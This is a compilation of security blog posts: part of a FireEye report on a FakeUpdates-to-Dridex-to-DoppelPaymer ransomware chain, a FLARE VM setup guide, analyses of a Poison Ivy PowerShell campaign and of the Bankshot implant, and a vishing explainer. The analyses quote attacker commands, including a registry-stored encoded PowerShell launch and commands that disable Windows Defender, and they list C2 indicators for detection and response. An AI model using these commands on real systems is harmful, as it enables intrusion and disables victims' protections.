Figure 10 provides an example command used to capture the desktop screenshots.
\"C:\\Users\\User\\AppData\\Local\\Temp\\nircmdc.exe\" savescreenshot \"C:\\Users\\User\\AppData\\Local\\Temp\\6206a2e3dc14a3d91.png\" Figure 10:
Sample command used to executed the Nircmd tool to take desktop screenshots The PNG screenshots of the infected systems are then transferred to the C2 server, after which they are deleted from the system.
Figure 11 provides an example of a HTTP POST request, again with the custom Age and User-Agent headers.
Figure 11:
Screenshots of the infected system are sent to an attacker-controlled C2
Interestingly, the screenshot file transfers were neither encoded nor obfuscated, as with other data elements transferred by the FakeUpdates malware.
As soon as the screenshots are transferred, nircmdc.exe is deleted.
All Hands on Deck In certain investigations, the incident was far from over.
Following the distribution of Dridex v4 binaries (botnet IDs 199 and 501), new tools and frameworks began to appear.
FireEye identified the threat actors leveraged their Dridex backdoor(s) to execute the publicly-available PowerShell Empire and/or Koadic post-exploitation frameworks.
Managed Defense also identified the FakeUpdates to Dridex infection chain resulting in the download and execution of PoshC2, another publicly available tool.
While it could be coincidental, it is worth noting that the use of PoshC2 was first observed in early September 2019 following the announcement that Empire would no longer be maintained and could represent a shift in attacker TTPs.
These additional tools were often executed between 30 minutes and 2 hours after initial Dridex download.
The pace of the initial phases of related attacks possibly suggests that automated post-compromise techniques are used in part before interactive operator activity occurs.
We identified extensive usage of Empire and C2 communication to various servers during these investigations.
For example, via process tracking, we identified a Dridex-injected explorer.exe executing malicious PowerShell: a clear sign of an Empire stager: Figure 12:
An example of PowerShell Empire stager execution revealed during forensic analysis In the above example, the threat actors instructed the victim system to use the remote server 185.122.59[.
]78 for command-and-control using an out-of-the-box Empire agent C2 configuration for TLS-encrypted backdoor communications.
During their hands-on post-exploitation activity, the threat actors also moved laterally via PowerShell remoting and RDP sessions.
FireEye identified the use of WMI to create remote PowerShell processes, subsequently used to execute Empire stagers on domain-joined systems.
In one specific case, the time delta between initial Empire backdoor and successful lateral movement was under 15 minutes.
Another primary goal for the threat actor was internal reconnaissance of both the local system and domain the computer was joined to.
Figure 13 provides a snippet of Active Directory reconnaissance commands issued by the attacker during one of our investigations.
Figure 13:
Attacker executed commands The threat actors used an Empire module named SessionGopher and the venerable Mimikatz to harvest endpoint session and credential information.
Finally, we also identified the attackers utilized Empire’s Invoke-EventVwrBypass, a Windows bypass technique used to launch executables using eventvwr.exe, as shown in Figure 14.
\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoP -NonI -c $x=$((gp HKCU:
Software\\Microsoft\\Windows Update).Update); powershell -NoP -NonI -W Hidden -enc $x Figure 14: PowerShell event viewer bypass Ransomware Attacks & Operator Tactics Within these investigations, FireEye identified the deployment BitPaymer or DoppelPaymer ransomware.
While these ransomware variants are highly similar, DoppelPaymer uses additional obfuscation techniques.
It also has enhanced capabilities, including an updated network discovery mechanism and the requirement of specific command-line execution.
DoppelPaymer also uses a different encryption and padding scheme.
The ransomware and additional reconnaissance tools were downloaded through public sharing website repositories such as DropMeFiles and SendSpace.
Irrespective of the ransomware deployed, the attacker used the SysInternals utlity PSEXEC to distribute and execute the ransomware.
Notably, in the DoppelPaymer incident, FireEye identified that Dridex v2 with the Botnet ID 12333 was downloaded onto the same system previously impacted by an instance of Dridex v4 with Botnet ID 501.
Within days, this secondary Dridex instance was then used to enable the distribution of DoppelPaymer ransomware.
Prior to DoppelPaymer, the threat actor deleted volume shadow copies and disabled anti-virus and anti-malware protections on select systems.
Event log artifacts revealed commands executed through PowerShell which were used to achieve this step (Figure 15): Event Log EID Message Microsoft-Windows-PowerShell%4Operational 600 HostApplication=powershell.exe
Set-MpPreference -DisableRealtimeMonitoring $true Microsoft-Windows-PowerShell%4Operational 600 HostApplication=powershell.exe
Uninstall-WindowsFeature -Name Windows-Defender Application 1034 Windows Installer removed the product.
Product Name: McAfee Agent-++-5.06.0011-++-1033-++-1603-++-McAfee, Inc.-++-(NULL)-++--++-.
Product Version: 82.
Figure 15: Event log entries related to the uninstallation of AV agents and disablement of real-time monitoring The DoppelPaymer ransomware was found in an Alternate Data Stream (ADS) in randomly named files on disk.
ADSs are attributes within NTFS that allow for a file to have multiple data streams, with only the primary being visible in tools such as Windows Explorer.
After ransomware execution, files are indicated as encrypted by being renamed with a “.locked” file extension.
In addition to each “.locked” file, there is a ransom note with the file name “readme2unlock.txt” which provides instructions on how to decrypt files.
Figure 16: DoppelPaymer ransomware note observed observed during a Mandiant Incident Response investigation Ransomware?
Not In My House!
Over the past few years, we have seen ransomware graduate from a nuisance malware to one being used to extort victim networks out of significant sums of money.
Furthermore, threat actors are now coupling ransomware with multiple toolkits or other malware families to gain stronger footholds into an environment.
In this blog post alone, we witnessed a threat actor move through multiple toolsets - some automated, some manual - with the ultimate goal of holding the victim organization hostage.
Ransomware also raises the stakes for unprepared organizations as it levels the playing field for all areas of your enterprise.
Ransomware proves that threat actors don’t need to get access to the most sensitive parts of your organization – they need to get access to the ones that will disrupt business processes.
This widens your attack surface, but luckily, also gives you more opportunity for detection and response.
Mandiant recently published an in depth white paper on Ransomware Protection and Containment Strategies , which may help organizations mitigate the risk of ransomware events.
Indicators The following indicator set is a collective representation of artifacts identified during investigations into multiple customer compromises.
Type Indicator(s)
FakeUpdates Files 0e470395b2de61f6d975c92dea899b4f 7503da20d1f83ec2ef2382ac13e238a8 102ae3b46ddcb3d1d947d4f56c9bf88c aaca5e8e163503ff5fadb764433f8abb 2c444002be9847e38ec0da861f3a702b 62eaef72d9492a8c8d6112f250c7c4f2 175dcf0bd1674478fb7d82887a373174 10eefc485a42fac3b928f960a98dc451 a2ac7b9c0a049ceecc1f17022f16fdc6 FakeUpdates Domains & IP Addresses <8-Characters>.green.mattingsolutions[.
]co <8-Characters>.www2.haciendarealhoa[.
]com <8-Characters>.user3.altcoinfan[.
]com 93.95.100[.
]178 130.0.233[.
]178 185.243.115[.
]84 gnf6.ruscacademy[.
]in backup.awarfaregaming[.
]com click.clickanalytics208[.
]com track.amishbrand[.
]com track.positiverefreshment[.
]org link.easycounter210[.
]com nircmdc.exe 8136d84d47cb62b4a4fe1f48eb64166e Dridex 7239da273d3a3bfd8d169119670bb745 72fe19810a9089cd1ec3ac5ddda22d3f 07b0ce2dd0370392eedb0fc161c99dc7 c8bb08283e55aed151417a9ad1bc7ad9 6e05e84c7a993880409d7a0324c10e74 63d4834f453ffd63336f0851a9d4c632 0ef5c94779cd7861b5e872cd5e922311 Empire C2 185.122.59[.
]78 109.94.110[.
]136
Detecting the Techniques FireEye detects this activity across our platforms, including named detections for Dridex, Empire, BitPaymer and DoppelPaymer Ransomware.
As a result of these investigations, FireEye additionally deployed new indicators and signatures to Endpoint and Network Security appliances.
This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.
Platform Signature Name Endpoint Security HX Exploit Detection Empire RAT (BACKDOOR) EVENTVWR PARENT PROCESS
(METHODOLOGY)
Dridex (BACKDOOR)
Dridex A (BACKDOOR)
POWERSHELL SSL VERIFICATION DISABLE (METHODOLOGY) SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) FAKEUPDATES SCREENSHOT CAPTURE (METHODOLOGY)
Network Security Backdoor.
FAKEUPDATES Trojan.
Downloader.
FakeUpdate Exploit.
Kit.
FakeUpdate Trojan.
SSLCert.
SocGholish MITRE ATT&CK Technique Mapping ATT&CK Techniques Initial Access Drive-by Compromise (T1189), Exploit Public-Facing Application (T1190)
Execution PowerShell (T1086), Scripting (T1064), User Execution (T1204), Windows Management Instrumentation (T1047) Persistence DLL Search Order Hijacking (T1038)
Privilege Escalation Bypass User Account Control (T1088), DLL Search Order Hijacking (T1038) Defense Evasion Bypass User Account Control (T1088), Disabling Security Tools (T1089), DLL Search Order Hijacking (T1038), File Deletion (T1107), Masquerading (T1036), NTFS File Attributes (T1096), Obfuscated Files or Information (T1027), Scripting (T1064), Virtualization/Sandbox Evasion (T1497) Credential Access Credential Dumping (T1003)
Discovery Account Discovery (T1087), Domain Trust Discovery (T1482), File and Directory Discovery (T1083), Network Share Discovery (T1135), Process Discovery (T1057), Remote System Discovery (T1018), Security Software Discovery (T1063), System Information Discovery (T1082), System Network Configuration Discovery (T1016), Virtualization/Sandbox Evasion (T1497) Lateral Movement Remote Desktop Protocol (T1076),  Remote File Copy (T1105) Collection Data from Local System (T1005), Screen Capture (T1113) Command And Control
Commonly Used Port (T1436), Custom Command and Control Protocol (T1094) ,Data Encoding (T1132), Data Obfuscation (T1001), Remote Access Tools (T1219), Remote File Copy (T1105), Standard Application Layer Protocol (T1071)
Exfiltration Automated Exfiltration (T1020),
Exfiltration Over Command and Control Channel (T1041) Impact Data Encrypted for Impact (T1486), Inhibit System Recovery (T1490), Service Stop (T1489) Acknowledgements A huge thanks to James Wyke and Jeremy Kennelly for their analysis of this activity and support of this post.
Catch an on-demand recap on this and the Top 5 Managed Defense attacks this year.
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FLARE VM is the first of its kind reverse engineering and malware analysis distribution on Windows platform.
Since its introduction in July 2017 , FLARE VM has been continuously trusted and used by many reverse engineers, malware analysts, and security researchers as their go-to environment for analyzing malware.
Just like the ever-evolving security industry, FLARE VM has gone through many major changes to better support our users’ needs.
FLARE VM now has a new installation, upgrade, and uninstallation process, which is a long anticipated feature requested by our users.
FLARE VM also includes many new tools such as IDA 7.0, radare and YARA.
Therefore, we would like to share these updates, especially the new installation process.
Installation We strongly recommend you use FLARE VM within a virtualized environment for malware analysis to protect and isolate your physical device and network from malicious activities.
We assume you already have experience setting up and configuring your own virtualized environment.
Please create a new virtual machine (VM) and perform a fresh installation of Windows.
FLARE VM is designed to be installed on Windows 7 Service Pack 1 or newer; therefore, you can select a version of windows that best suits your needs.
From this point forward, all installation steps should be performed within your VM.
Once you have a VM with a fresh installation of Windows, use one of the following URLs to download the compressed FLARE VM repository onto your VM: https://github.com/fireeye/flare-vm https://flarevm.info Figure 1: Download FLARE VM repo
Then, use the following steps to install FLARE VM: Decompress the FLARE VM repository to a directory of your choosing.
Start a new session of PowerShell with escalated privileges.
FLARE VM attempts to install additional software and modify system settings; therefore, escalated privileges are required for installation.
Within PowerShell, change directory to the location where you have decompressed the FLARE VM repository.
Enable unrestricted execution policy for PowerShell by executing the following command and answering “Y” when prompted by PowerShell: Set-ExecutionPolicy unrestricted Execute the install.ps1 installation script.
You will be prompted to enter the current user’s password.
FLARE VM needs the current user’s password to automatically login after a reboot when installing.
Optionally, you can specify the current user’s password by passing the “-password <current_user_password>” at the command line.
Figure 2: Start PowerShell as administrator Figure 3: Ready to install FLARE VM
The rest of the installation process is fully automated.
Depending upon your internet speed the entire installation may take up to one hour to finish.
The VM also reboots multiple times due to the numerous software installations’ requirements.
Once the installation completes, the PowerShell prompt remains open waiting for you to hit any key before exiting.
After completing the installation, you will be presented with the following desktop environment: Figure 4: FLARE VM installation completes Congratulations!
You have successfully installed FLARE VM.
At this point we recommend you power off the VM, switch the VM networking mode to Host-Only, and then take a snapshot to save a clean state of your analysis VM.
Improvement The biggest improvement for FLARE VM is the ability to perform a proper update and uninstallation.
The older version of FLARE VM came as a PowerShell script to install many chocolatey packages, one at a time; therefore, we were unable to include new packages when updating FLARE VM.
In the past, our users had to reinstall FLARE VM completely, which is time consuming, or manually install the new package, which is error prone.
To solve this issue, we have converted FLARE VM itself into a chocolatey package.
Whenever a new tool is available we will also release a new version of FLARE VM.
With this new design we can simply execute “choco upgrade all” to get the newest version of FLARE VM along with any new packages we have released.
You can also safely uninstall all FLARE VM packages by executing “choco uninstall flarevm.installer.flare”.
Our new FLARE VM is also updated to use Python 3.7 as the default Python interpreter.
As a result, many python scripts may fail to execute.
To maintain support for older scripts, we keep Python 2.7 installed in parallel with Python 3.7.
We can easily switch between different versions by using the Python launcher.
Run “py -2.7 <path_to_python_script>” to use Python 2.7, or “py <path_to_python_script>” to use the default Python 3.7 interpreter.
For more details on the Python launcher, please refer to the following URL: https://docs.python.org/3/using/windows.html#launcher.
Additionally, the new FLARE VM changes the location where Fakenet-NG saves its output when launched via the shortcut in the FLARE folder or taskbar pin.
Instead of saving directly to the desktop, to reduce clutter, Fakenet-NG will store all its output in “Desktop\\fakenet_logs”.
Compared to older versions this version of FLARE VM comes with many new tools and software packages.
Most notably, this release adds the following: IDA Free 7.0 radare2 to support 64-bit disassembly The labs for the Practical Malware Analysis book pdfid, pdf-parser, and PdfStreamdumper to analyze malicious PDF documents The Malcode Analyst Pack Yara for signature matching The Cygwin Linux environment on windows PowerShell transcription and script block logging PowerShell transcripts can be found in “Desktop\\PS_Transcripts” Available Packages While we attempt to make the tools available as shortcuts within the FLARE folder, there are several available from command-line only.
Please see the online documentation for the most up to date list.
Here is an incomplete list of some major tools available on FLARE VM:
Disassemblers: IDA Free 5.0 and IDA Free 7.0 Binary Ninja Radare2 and Cutter Debuggers: OllyDbg and OllyDbg2 x64dbg Windbg File Format parser: CFF Explorer, PEView, PEStudio PdfStreamdumper, pdf-parser, pdfid ffdec offvis and officemalscanner PE-bear Decompilers: RetDec Jd-gui and bytecode-viewer dnSpy IDR VBDecompiler Py2ExeDecompiler
Monitoring tools: SysInternal suite RegShot Utilities:
Hex Editors (010 editor, HxD and File Insight) FLOSS (FireEye Labs Obfuscated String Solver)
Fakenet-NG Yara Malware Analyst Pack Conclusion The FLARE team continues to support and improve FLARE VM to be the de facto distribution for security research, incident response, and malware analysis on Windows platform.
We greatly appreciate the numerous bug reports, tool requests, and feature recommendations from everyone.
We hope FLARE VM, along with many other FLARE open source projects, can help you do your work better, easier, and faster.
We are always looking for talented folks to join our team.
The FLARE Team may be a good place for you if: You eat, sleep, and speak disassembly and malware all day long.
You would like to push the state of the art for reverse engineering and malware analysis.
Please check out our careers page , or send us an email.
Happy Reversing!
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Introduction FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government.
Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy , a popular remote access tool (RAT) that has been used for nearly a decade for key logging, screen and video capture, file transfers, password theft, system administration, traffic relaying, and more.
The threat actors behind this attack demonstrated some interesting techniques, including: Customized evasion based on victim profile – The campaign used a publicly available technique to evade AppLocker application whitelisting applied to the targeted systems.
Fileless execution and persistence – In targeted campaigns, threat actors often attempt to avoid writing an executable to the disk to avoid detection and forensic examination.
The campaign we observed used four stages of PowerShell scripts without writing the the payloads to individual files.
Decoy documents – This campaign used PowerShell to download benign documents from the Internet and launch them in a separate Microsoft Word instance to minimize user suspicion of malicious activity.
Attack Cycle
The threat actors used social engineering to convince users to run an embedded macro in a Microsoft Word document that launched a malicious PowerShell payload.
The threat actors used two publicly available techniques, an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process.
The malicious payload was spread across multiple PowerShell scripts, making its execution difficult to trace.
Rather than being written to disk as individual script files, the PowerShell payloads were stored in the registry.
Figure 1 shows the stages of the payload execution from the malicious macro.
Figure 1:
Stages of payload execution used in this attack Social Engineering and Macro-PowerShell Level 1 Usage Targets of the campaign received Microsoft Word documents via email that claimed to contain instructions for logging into webmail or information regarding a state law proposal.
When a targeted user opens the malicious document, they are presented with the messages shown in Figure 2, asking them to enable macros.
Figure 2:
Lure suggesting the user to enable Macros to see content Bypassing Application Whitelisting Script Protections (AppLocker)
Microsoft application whitelisting solution AppLocker prevents unknown executables from running on a system.
In April 2016, a security researcher demonstrated a way to bypass this using regsvr32.exe, a legitimate Microsoft executable permitted to execute in many AppLocker policies.
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument.
This technique bypasses AppLocker restrictions and permits the execution of code within the SCT file.
We observed implementation of this bypass in the macro code to invoke regsvr32.exe, along with a URL passed to it which was hosting a malicious SCT file, as seen in Figure 3.
Figure 3:
Command after de-obfuscation to bypass AppLocker via regsv32.exe Figure 4 shows the entire command line parameter used to bypass AppLocker.
Figure 4:
Command line parameter used to bypass AppLocker We found that the malicious SCT file invokes WScript to launch PowerShell in hidden mode with an encoded command, as seen in Figure 5.
Figure 5: Content of SCT file containing code to launch encoded PowerShell Decoding SCT: Decoy launch and Stage Two PowerShell
After decoding the PowerShell command, we observed another layer of PowerShell instructions, which served two purposes: 1.
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet.
When the victim enables macros, they will see the decoy document shown in Figure 6.
This document contains the content described in the spear phishing email.
Figure 6: Decoy downloaded and launched on the victim’s screen 2.
After launching the decoy document in the second winword.exe process, the PowerShell script downloads and runs another PowerShell script named f0921.ps1 as shown in Figure 7.
Figure 7: PowerShell to download and run decoy decoy document and third-stage payload Third Stage PowerShell Persistence
The third stage PowerShell script configures an encoded PowerShell command persistently as base64 string in the HKCU: \\Console\\FontSecurity registry key.
Figure 8 shows a portion of the PowerShell commands for writing this value to the registry.
Figure 8:
Code to set registry with encoded PowerShell script Figure 9 shows the registry value containing encoded PowerShell code set on the victims’ system.
Figure 9: Registry value containing encoded PowerShell script Figure 10 shows that using Start-Process, PowerShell decodes this registry and runs the malicious code.
Figure 10:
Code to decode and run malicious content from registry
The third stage PowerShell script also configures another registry value  named HKCU\\CurrentVersion\\Run\\SecurityUpdate to launch the encoded PowerShell payload stored in the HKCU: \\Console\\FontSecurity key.
Figure 11 shows the code for these actions.
This will execute the PowerShell payload when the user logs in to the system.
Figure 11:
PowerShell registry persistence Fourth Stage PowerShell Inject-LocalShellCode
The HKCU\\Console\\FontSecurity registry contains the fourth stage PowerShell script, shown decoded in Figure 12.
This script borrows from the publicly available Inject-LocalShellCode PowerShell script from PowerSploit to inject shellcode.
Figure 12:
Code to inject shellcode Shellcode Analysis The shellcode has a custom XOR based decryption loop that uses a single byte key (0xD4), as seen in Figure 13.
Figure 13:
Decryption loop and call to decrypted shellcode After the shellcode is decrypted and run, it injects a Poison Ivy backdoor into the userinit.exe as shown in Figure 14.
Figure 14:
Code injection in userinit.exe and attempt to access Poison Ivy related DAT files In the decrypted shellcode, we also observed content and configuration related to Poison Ivy.
Correlating these bytes to the standard configuration of Poison Ivy, we can observe the following: Active setup – StubPath Encryption/Decryption key - version2013 Mutex name - 20160509 The Poison Ivy configuration dump is shown in Figure 15.
Figure 15: Poison Ivy configuration dump Conclusion Although Poison Ivy has been a proven threat for some time, the delivery mechanism for this backdoor uses recent publicly available techniques that differ from previously observed campaigns.
Through the use of PowerShell and publicly available security control bypasses and scripts, most steps in the attack are performed exclusively in memory and leave few forensic artifacts on a compromised host.
FireEye
HX Exploit Guard is a behavior-based solution that is not affected by the tricks used here.
It detects and blocks this threat at the initial level of the attack cycle when the malicious macro attempts to invoke the first stage PowerShell payload.
HX also contains generic detections for the registry persistence, AppLocker bypasses and subsequent stages of PowerShell abuse used in this attack.
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By Ryan Sherstobitoff on Mar 08, 2018
This post was prepared with contributions from Asheer Malhotra, Charles Crawford, and Jessica Saavedra-Morales.
On February 28, the McAfee Advanced Threat Research team discovered that the cybercrime group Hidden Cobra continues to target cryptocurrency and financial organizations.
In this analysis, we observed the return of Hidden Cobra’s Bankshot malware implant surfacing in the Turkish financial system.
Based on the code similarity, the victim’s business sector, and the presence of control server strings, this attack resembles previous attacks by Hidden Cobra conducted against the global financial network SWIFT.
In this new, aggressive campaign we see a return of the Bankshot implant, which last appeared in 2017.
Bankshot is designed to persist on a victim’s network for further exploitation; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations.
Based on our analysis, financial organizations in Turkey were targeted via spear phishing emails containing a malicious Microsoft Word document.
The document contains an embedded Adobe Flash exploit, which was recently announced by the Korean Internet Security agency.
The exploit, which takes advantage of CVE-2018-4878, allows an attacker to execute arbitrary code such as an implant.
the Further investigation into this campaign and analysis of McAfee product telemetry shows that the infection occurred on March 2 and 3.
The implant’s first target was a major government-controlled financial organization.
It next appeared in another Turkish government organization involved in finance and trade.
A further three large financial institutions in Turkey were victims of this attack.
The implant has so far not surfaced in any other sector or country.
This campaign suggests the attackers may plan a future heist against these targets by using Bankshot to gather information.
Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity.
The malicious domain falcancoin.io was created December 27, 2017, and was updated on February 19, only a few days before the implants began to appear.
These implants are variations of earlier forms of Bankshot, a remote access tool that gives an attacker full capability on a victim’s system.
This implant also contains functionality to wipe files and content from the targeted system to erase evidence or perform other destructive actions.
Bankshot was first reported by the Department of Homeland Security on December 13, 2017, and has only recently resurfaced in newly compiled variants.
The sample we analyzed is 99% similar to the documented Bankshot variants from 2017.
Bankshot implants hosted on falcancoin.io.
The Bankshot implant is attached to a malicious Word document with the filename Agreement.docx.
The document appears to be an agreement template for Bitcoin distribution between an unknown individual in Paris and a to-be-determined cryptocurrency exchange.
The author of this document is test-pc.
It was created February 26 and was submitted from the Netherlands.
The document contains an embedded Flash script that exploits CVE-2018-4878 and downloads and executes the DLL implant from falcancoin.io.
We discovered two more documents, written in Korean, that exploit the same vulnerability as Agreement.docx.
These documents appear to be part of the same campaign and may have been used on different targets.
These documents also communicated with falcancoin.io to install Bankshot and also contain themes around cryptocurrency security.
Two Flash files exploit CVE-2018-4878.
843c17b06a3aee22447f021307909890b68828b9 (February 25) 343ebca579bb888eb8ccb811f9b52280c72e484c (February 25 Malicious documents in the attack.
Malicious document exploiting CVE-2018-4878.
The implants are downloaded via a Flash file embedded in the malicious document.
They are executed when the victim views the document.
The malicious site falcancoin.io embedded in the Flash file.
Implant directory contained in the malicious Flash file.
The implants (DLLs) are disguised as ZIP files and communicate with three control servers, two of them Chinese-language online gambling sites.
These URLs can be found hardcoded in the implants’ code.
Hardcoded control server URLs.
Analyzing Bankshot
The sample (a2e966edee45b30bb6bb5c978e55833eec169098) is a Windows DLL that serves as a backdoor and contains a variety of capabilities.
The malicious DLL is not a service DLL
because it lacks ServiceMain().
To mask itself, it can run as a regular library loaded into a legitimate process.
The malware begins by creating a new thread from the DllMain() function to carry out its malicious activities: New thread created in the malware’s DllMain() function.
The malware performs the following activities: Builds imports by dynamically loading APIs Decrypts strings needed for control server communications Performs control server communications Handles commands issued by the control server Uninstalls self from the system The malicious thread dynamically loads the APIs it needs at the beginning of its execution using LoadLibrary() and GetProcAddress().
APIs from the following libraries are loaded at runtime: Kernel32.dll Ws2_32/wsock32.dll Apvapi32.dll Oleaut32.dll Iphlp.dll Urlmon.dll A dynamic API loaded by the malware.
Based on packet capture analysis of previous implants from 2017, the following strings are used in control server communications:
Connection: keep-alive Cache-Control: max-age=0 Accept: */* Content-Type: multipart/form-data; boundary= Content-Type: application/octet-stream Accept-Encoding: gzip,deflate,sdch Accept-Language: ko-KR -> Korean Content-Disposition: form-data;name=”board_id” Content-Disposition: form-data;name=”user_id” Content-Disposition: form-data;name=”file1″; filename=”img01_29.jpg” Content-Disposition: form-data;name=”file1″; filename=”my.doc” Content-Disposition: form-data;name=”file1″; filename=”pratice.pdf” Content-Disposition: form-data;name=”file1″; filename=”king.jpg” Content-Disposition: form-data;name=”file1″; filename=”dream.avi” Content-Disposition: form-data;name=”file1″; filename=”hp01.avi” Content-Disposition: form-data;name=”file1″; filename=”star.avi” User Agents
The implant either fetches the user agent from Internet Explorer (using ObtainUserAgentAsString()) or uses a default user agent specified in the malware binary:
Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95
Safari/537.36 Control Server Communications
The malware initiates communication with the control server by sending it an HTTP POST request with additional optional HTTP data, such as: ------FormBoundary<randomly_generated_characters>\r\nContent-Disposition: form-data; name=\"board_id\" 8306 ------FormBoundary<randomly_generated_characters>\r\nContent-Disposition: form-data; name=\"user_id\" *dJU!
*JE&!M@UNQ@ ------FormBoundary<randomly_generated_characters>\r\nContent-Disposition: form-data; name=\"file1\"; filename=\"king.jpg\"\r\nContent-Type: application/octet-stream board_id is a four-digit number that may be an identifier for a campaign ID.
Based on analysis of previous samples, this is a unique identifier.
user_id is a hardcoded value in the malware binary that is sent to the control server.
The username appears to be attacker specified and has occurred in 2017 Bankshot samples.
This links the previous samples with this unique username.
filename is based on static analysis.
This looks like a specific beacon to indicate that the malware is ready to receive commands.
The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands: Commands received from the control server are encoded DWORDs After decoding, these DWORDs should be in the range 123459h to 123490h
Malware checking to make sure a received command is in the correct range.
The command index calculator and jump to the appropriate command.
The command index table and command handler address table.
Implant Capabilities Based on the responses received from the control server, the malware can carry out the following malicious tasks: Recursively generate a list of files in a directory and send to the control server Terminate a specific process.
The process is identified by the control server sending the PID to the malware.
The capability to terminate a process.
Gather network addresses and operating system version Execute arbitrary commands using “cmd.exe /c”
The capability to execute system commands.
Spawning arbitrary processes.
Create processes Write responses from the control server to a file Send information for all drives Write data sent by the control server to a temporary file matching the file path pattern %temp%\\DWS00
* Change the time of a file as specified by the control server The malware changing the file time.
Create a process by impersonating a logged-on user Getting a user token using WTSQueryUserToken.
A process created as logged-in user.
Gather the process time for all processes Getting time information for all processes running on the system.
Gather domain and account names based on all running processes Gathering account information from running processes.
Read a specified file’s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot Marking a file for deletion on reboot.
Overwrite a file with all zeros and mark it for deletion on reboot Wiping files with zeros and marking it for deletion on reboot.
Delete files using the DeleteFile() API Load an arbitrary library into its process space.
This may be used to load additional downloaded components of the attack.
Loading an arbitrary library into its own process space.
After every action is performed the malware sends a response to the control server indicating whether the action was successful.
Connections The US government reports that Bankshot is used by Hidden Cobra to target multiple industries including financial organizations.
This implant has been connected to a major Korean bank attack and is also known as Trojan Manuscript.
That variant contained the capability to search for hosts related to the SWIFT network and the same control server strings as the variant we found targeting the Turkish financial sector.
The implant does not conduct financial transactions; rather it is a channel into the victim’s environment, in which further stages of implants can be deployed for financial reconnaissance.
The Bankshot implant was also observed in 2017 in documents appearing to come from Latin American banks.
Malicious document delivering the Bankshot implant in 2017.
These connections, combined with the implant’s nearly identical appearance to known variants, are a strong indication that we have uncovered a Hidden Cobra attack.
Further, previous implants from 2017 contained bogus documents with financially themed content.
A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017).
Conclusion We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries).
In this campaign, we see the adoption of a recent zero-day Adobe Flash vulnerability to get the implant onto the victim’s systems.
The campaign has a high chance of success against victims who have an unpatched version of Flash.
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal.
This is the first time that Bankshot has been tied directly to financial-related hacking and the first time it has been used since November 2017.
McAfee detects these threats as: RDN/Generic Exploit RDN/Generic.dx Generic PWS.y
Generic.
hbg Exploit-CVE2018-4878 McAfee customers are also covered by McAfee Global Threat Intelligence Web Reputation classification, which rate these URLs as High Risk.
Indicators of Compromise MITRE ATT&CK techniques Exfiltration over command and control channel Commonly used port Command-line interface Service execution Automated collection Data from local system Process discovery System time discovery Credential dumping Exploitation of vulnerability Process injection File deletion Hashes 650b7d25f4ed87490f8467eb48e0443fb244a8c4 65e7d2338735ec04fd9692d020298e5a7953fd8d 166e8c643a4db0df6ffd6e3ab536b3de9edc9fb7 a2e966edee45b30bb6bb5c978e55833eec169098 Domains 530hr[dot]com/data/common.php 028xmz[dot]com/include/common.php 168wangpi[dot]com/include/charset.php Falcancoin[dot]io
Between tech support requesting access to your computer, concerned tax services specialists demanding payments, medical equipment suppliers “returning your call,” and many more — none legitimate — it’s a wonder anyone even answers their phone anymore.
You’d be hard-pressed to find someone who hasn’t experienced some form of phone scam, although the name for it isn’t as well-known: vishing.
What is vishing?
Vishing is short for voice plus phishing (as smishing is SMS + phishing ), and, aided by the mass transition to remote work, it has turned the phone into a major weapon of fraud, to the extent that law-enforcement agencies now periodically release official announcements about the danger.
According to 2019 data from the US Federal Trade Commission, only 6% of scam calls ended in financial loss.
Nevertheless, when it happened, the damage was quite significant, with a median value of $960.
Anyone can fall for a scammer’s bait, even experts who think they’ve seen it all .
Many fraudsters are excellent at gaining the confidence of even the most vigilant target.
On the one hand, vishing is more conservative than regular phishing, because the telephone itself is an older means of communication.
On the other hand, massive data leaks in the digital age have lent voice scams new power: Never before have scammers been in possession of such volumes of information about almost everyone on the planet.
The proliferation of Internet telephony (VoIP) further plays into the hands of cybercriminals, enabling them to manipulate phone numbers and cover their tracks.
Types of scam calls Scammers can say just about anything on a call, but their attempts tend to fall into a few main categories.
Telemarketing Telemarketing fraud tends to involve offers too good to be true and pressure too time-sensitive to end well.
Some examples include winning the lottery (bonus points it you didn’t even buy a ticket), a reduced credit card interest rate, and other lucrative offers that are hard to refuse.
They tend to have in common the need to make a decision on the spot, plus a small advance payment from you to them.
If you have the time to think about the offer, it’s (usually) clearly fraudulent.
If you make the payment, it’ll just go to the scammers, literally rewarding them for their crime and also reinforcing the value of using leaked databases of phone numbers to call and defraud thousands more people.
Government agency One of the most common schemes involves allegedly unpaid or underpaid taxes.
A “tax office” initiates the call and provides a choice: Pay the arrears or face a fine.
The offer expires soon, after which the fine will increase.
Again, adding time-sensitivity works.
Given time to think about how tax agencies communicate with citizens, not to mention their deadline structures, the average citizen could probably figure out that such calls are fraudulent.
Faced with a ticking clock and (apparently) a government agency known for strictness, however, adjusts the odds in scammers’ favor.
Technical support For unsolicited tech-support calls, scammers choose large, well-known brands to increase the chances of connecting with an actual user of the product.
The caller typically claims to have found an issue with the victim’s computer and asks for login credentials or remote access to their computer.
A more sophisticated scheme involves some preparation, for example, infecting a computer with malware that invokes a pop-up window with a description of the alleged problem and a phone number to call to get it fixed.
Bank The ultimate object of any scam is money, so of course some fraudsters pretend to call from banks.
Generally, they claim to be reporting suspicious account activity, which in reality gives them cover to request details such as a CVC/CVV code or a one-time passcode from a text message.
Armed with such details, the fake bank employee can easily clean out an account for real.
